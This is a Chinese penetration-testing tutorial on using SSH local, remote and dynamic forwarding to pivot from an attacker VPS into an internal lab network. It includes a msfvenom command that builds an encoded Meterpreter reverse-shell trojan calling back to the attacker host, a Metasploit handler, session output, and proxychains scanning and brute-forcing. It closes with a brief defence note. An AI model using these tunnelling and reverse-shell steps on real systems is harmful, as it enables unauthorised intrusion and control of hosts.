SSH隧道技术研究和实战

0x00 简介

在内网中，几乎所有的Linux服务器都支持SSH协议，一般情况下SSH的端口协议是允许通过防火墙的，所以会经常被攻击利用。而且，SSH协议的传输过程是加密的，所以我们很难在流量分析中区别是否是被攻击者利用，攻击者使用SSH协议作为隧道突破防火墙后，可以建立一些TCP连接进行操作。

0x01 基础操作

转发需要知道的参数：

-C：压缩传输，提高传输速度
-f ：将ssh传输转入后台执行，不占用当前的shell
-N：建立静默连接（建立了连接，但是看不到具体的会话）
-g 允许远程主机连接本地用于转发的端口。
-L：本地端口转发
-R：远程端口转发
-D：动态转发（socks代理）
-P：指定ssh端口

1、本地转发

如下图所示，左侧为攻击者的VPS，中间是一台防火墙，右侧则是一个小型的内网；外部的VPS能访问内网的Web服务器，但不能访问数据库服务器，数据库和Web服务器能互相访问。

我们要做的目标是：以Web服务器作为跳板，访问内网中数据库服务器的3389端口。

我们只需要把数据库服务器172.16.0.106的3389端口映射到VPS上的1152端口，再访问VPS的1152端口就可以访问数据库服务器的3389端口了。

我们在VPS上执行下面命令：

ssh -CfNg -L 1152(VPS端口):172.16.0.106(数据库服务器IP):3389(数据库服务器端口) [email protected](Web服务器)

执行后输入密码即可：

┌──(VPS㉿kali)-[~]
└─$ ssh -CfNg -L 1152:172.16.0.106:3389 [email protected]                                                                                                                                                                             
[email protected]'s password:

我们可以在VPS查看下监听的端口：

┌──(VPS㉿kali)-[~]
└─$ netstat -tunlp                                                                                                                                                                                                                    
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:1152            0.0.0.0:*               LISTEN      935867/ssh          
tcp6       0      0 :::1152                 :::*                    LISTEN      935867/ssh

然后我们在VPS下可以用remmina进行远程桌面连接127.0.0.1:1152，可以看到我们已经可以访问数据库服务器的远程桌面：

整个过程就是我们在本地访问1152端口，就是通过ssh协议将数据传输到远程端口3389，我们可以看到是从web服务器(172.16.0.108)的IP进行登录：

C:\Users\test\Desktop>netstat -ano | findstr "3389"
  TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING       1000
  TCP    172.16.0.106:3389      172.16.0.108:57100     ESTABLISHED     1000
  TCP    [::]:3389              [::]:0                 LISTENING       1000
  UDP    0.0.0.0:3389           *:*                                    1000
  UDP    [::]:3389              *:*                                    1000

2、远程转发

如下图所示，左侧为攻击者的VPS，中间是一台防火墙，右侧则是一个小型的内网；外部的VPS不能访问内网的Web服务器和数据库服务器，数据库和Web服务器能互相访问，但Web服务器可以访问VPS。

我们要做的目标是：以Web服务器作为跳板，访问内网中数据库服务器的3389端口。

一样是以Web服务器作为跳板，通过访问VPS的1152端口将数据传输到数据库服务器的3389端口，与上面不同的是执行命令的是在Web服务器。

VPS不用操作，我们只在Web服务器执行以下命令，输入vps的密码即可：

ssh -CfNg -R 1152(VPS端口):172.16.0.106(数据库服务器IP):3389(数据库服务器端口) [email protected](VPS)

我们在VPS服务器查看端口：

┌──(VPS㉿kali)-[~]
└─$ netstat -tunlp                                                                                                                                                                                                               
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:1152            0.0.0.0:*               LISTEN      935867/ssh          
tcp6       0      0 :::1152                 :::*                    LISTEN      935867/ssh

然后我们在VPS下可以用remmina进行远程桌面连接127.0.0.1:1152就可以连接到数据库服务器的3389端口了。

3、动态转发

我们要做的目标是：以Web服务器作为跳板建立socks代理，访问内网中服务器

实践上就是建立SOCKS 4/5的代理通道，我们在VPS上输入下面命令：

ssh -CfNg -D 8811(VPS端口) [email protected](Web服务器)

我们在VPS服务器查看端口：

┌──(VPS㉿kali)-[~]
└─$ netstat -tunlp                                                                                                                                                                                                               
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:8811            0.0.0.0:*               LISTEN      935868/ssh          
tcp6       0      0 :::8811                :::*                    LISTEN      935868/ssh

然后我们可以使用kali自带的proxychains，我们只需要编辑一下配置文件：

┌──(VPS㉿kali)-[~]
└─$ sudo vim /etc/proxychains4.conf

在最后一行加入内容socks4 127.0.0.1 8811:

[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks4  127.0.0.1 8811

保存后，我们使用下面命令即可访问到数据库服务器的3389端口：

┌──(VPS㉿kali)-[~]
└─$ proxychains4 remmina

直接输入数据库服务器IP即可连接：

当然也可以使用nmap、hydra等工具对内网进行扫描，只需要在前面加上proxychains4即可。

4、X协议转发

远程登陆 Linux GUI 运行图形化界面工具，类似于VNC和X windows。

我们要做的目标是：以Web服务器作为跳板建立隧道，访问内网中服务器

我们在VPS上输入下面命令：

ssh -X [email protected](Web服务器)

可以发现终端已经变成了web服务器的终端界面，我们在当前的终端输入firefox、remmina就是打开web服务器上的软件，相当于VPS上实现图形化操作，查询端口两边都监听了6010端口：

图中的oscp是VPS，kali是Web服务器，106是数据库服务器

0x02 实战

实验环境如图，下面的环境相当于我们拿到了web服务器的webshell，但是是内网机器，VPS不能直接访问到Web服务器，而且VPS上没有Msf，VPS也不能直接访问本地Kali Linux，但web服务器和本地Kali Linux可以访问到VPS，这个时候要用到Msf我们需要使用SSH协议进行端口转发，当然也可以用reGeog来做代理。

我们要做的目标是：利用VPS作为中转，本地Kali Linux利用Msf控制内网中的Web服务器

在公网的VPS需要修改一下ssh的配置文件：

sudo vim /etc/ssh/sshd_config

把以下三项开启并修改为yes：

 AllowTcpForwarding yes
 GatewayPorts yes
 TCPKeepAlive yes

先在本地的Kali Linux上进行启动Msf监听：

msf6 exploit(multi/handler) > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp_rc4_dns 
msf6 exploit(multi/handler) > set lport 53
msf6 exploit(multi/handler) > set lhost 172.16.0.107
msf6 exploit(multi/handler) > show options
Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp_rc4_dns):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   EXITFUNC     process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST        172.16.0.107     yes       The DNS hostname to connect back to
   LPORT        53               yes       The listen port
   RC4PASSWORD  msf              yes       Password to derive RC4 key from


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf6 exploit(multi/handler) > run

使用msfvenom生成一个木马,lhost填写VPS的IP：

msfvenom --platform Windows -p windows/meterpreter/reverse_tcp_rc4_dns lhost=172.16.0.108 lport=443 rc4password=msf -e x86/shikata_ga_nai -b '\x00' -i 5 -f exe -o dns_rc4.exe

下一步就在本地Kali Linux上执行ssh转发：

┌──(Kali㉿Kali)-[~]
└─$ ssh -C -f -N -g -R 443(VPS端口):172.16.0.107(本地Kali):53(Kali监听端口) [email protected]

然后查看本地Kali的端口状态：

┌──(kali㉿kali)-[~]
└─$ netstat -tunlp                                                                                                                                                                                                               
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 172.16.0.107:53         0.0.0.0:*               LISTEN      - 
tcp6       0      0 :::22                   :::*                    LISTEN      -

查看VPS的端口状态：

──(vps㉿vps)-[~]
└─$ netstat -tunlp                                                                                                                                                                                                               
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                                     
tcp        0      0 0 0.0.0.0:443           0.0.0.0:*               LISTEN      - 
tcp6       0      0 :::22                   :::*                    LISTEN      - 
tcp6       0      0 :::443                  :::*                    LISTEN      -

最后我们把生成的木马dns_rc4.exe放在Web服务器上执行，就可以看到msf反弹回来一个shell：

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 172.16.0.107:53 
[*] Sending stage (175178 bytes) to 172.16.0.107
[*] Meterpreter session 51 opened (172.16.0.107:53 -> 172.16.0.107:42804 ) at 2022-02-10 15:13:17 +0800

meterpreter > ifconfig

Interface  1
============
Name         : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU          : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff


Interface 11
============
Name         : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:0c:29:ad:5b:f3
MTU          : 1500
IPv4 Address : 172.16.0.105
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::7d95:97e1:6b19:c934
IPv6 Netmask : ffff:ffff:ffff:ffff::

可以看到全程是走ssh加密协议的：

0x03 防御SSH隧道攻击

在系统中配置SSH远程管理白名单，在ACL中限制只有特定的IP地址才能连接SSH，以及设置系统完全使用带外管理等方法，都可以避免这一问题。

0x04 参考

https://xz.aliyun.com/t/7956

https://www.c0bra.xyz/2019/10/17/%E5%88%A9%E7%94%A8ssh%E9%9A%A7%E9%81%93%E4%B8%8A%E7%BA%BF%E5%86%85%E7%BD%91%E4%B8%BB%E6%9C%BA/

https://xz.aliyun.com/t/7245

原文作者： F0rmat
原文链接： https://xxe.icu/ssh_tunnel.html
版权声明：本作品采用署名 - 非商业性使用 4.0 国际 (CC BY-NC 4.0)进行许可，非商业转载请注明出处（作者，原文链接），商业转载请联系作者获得授权。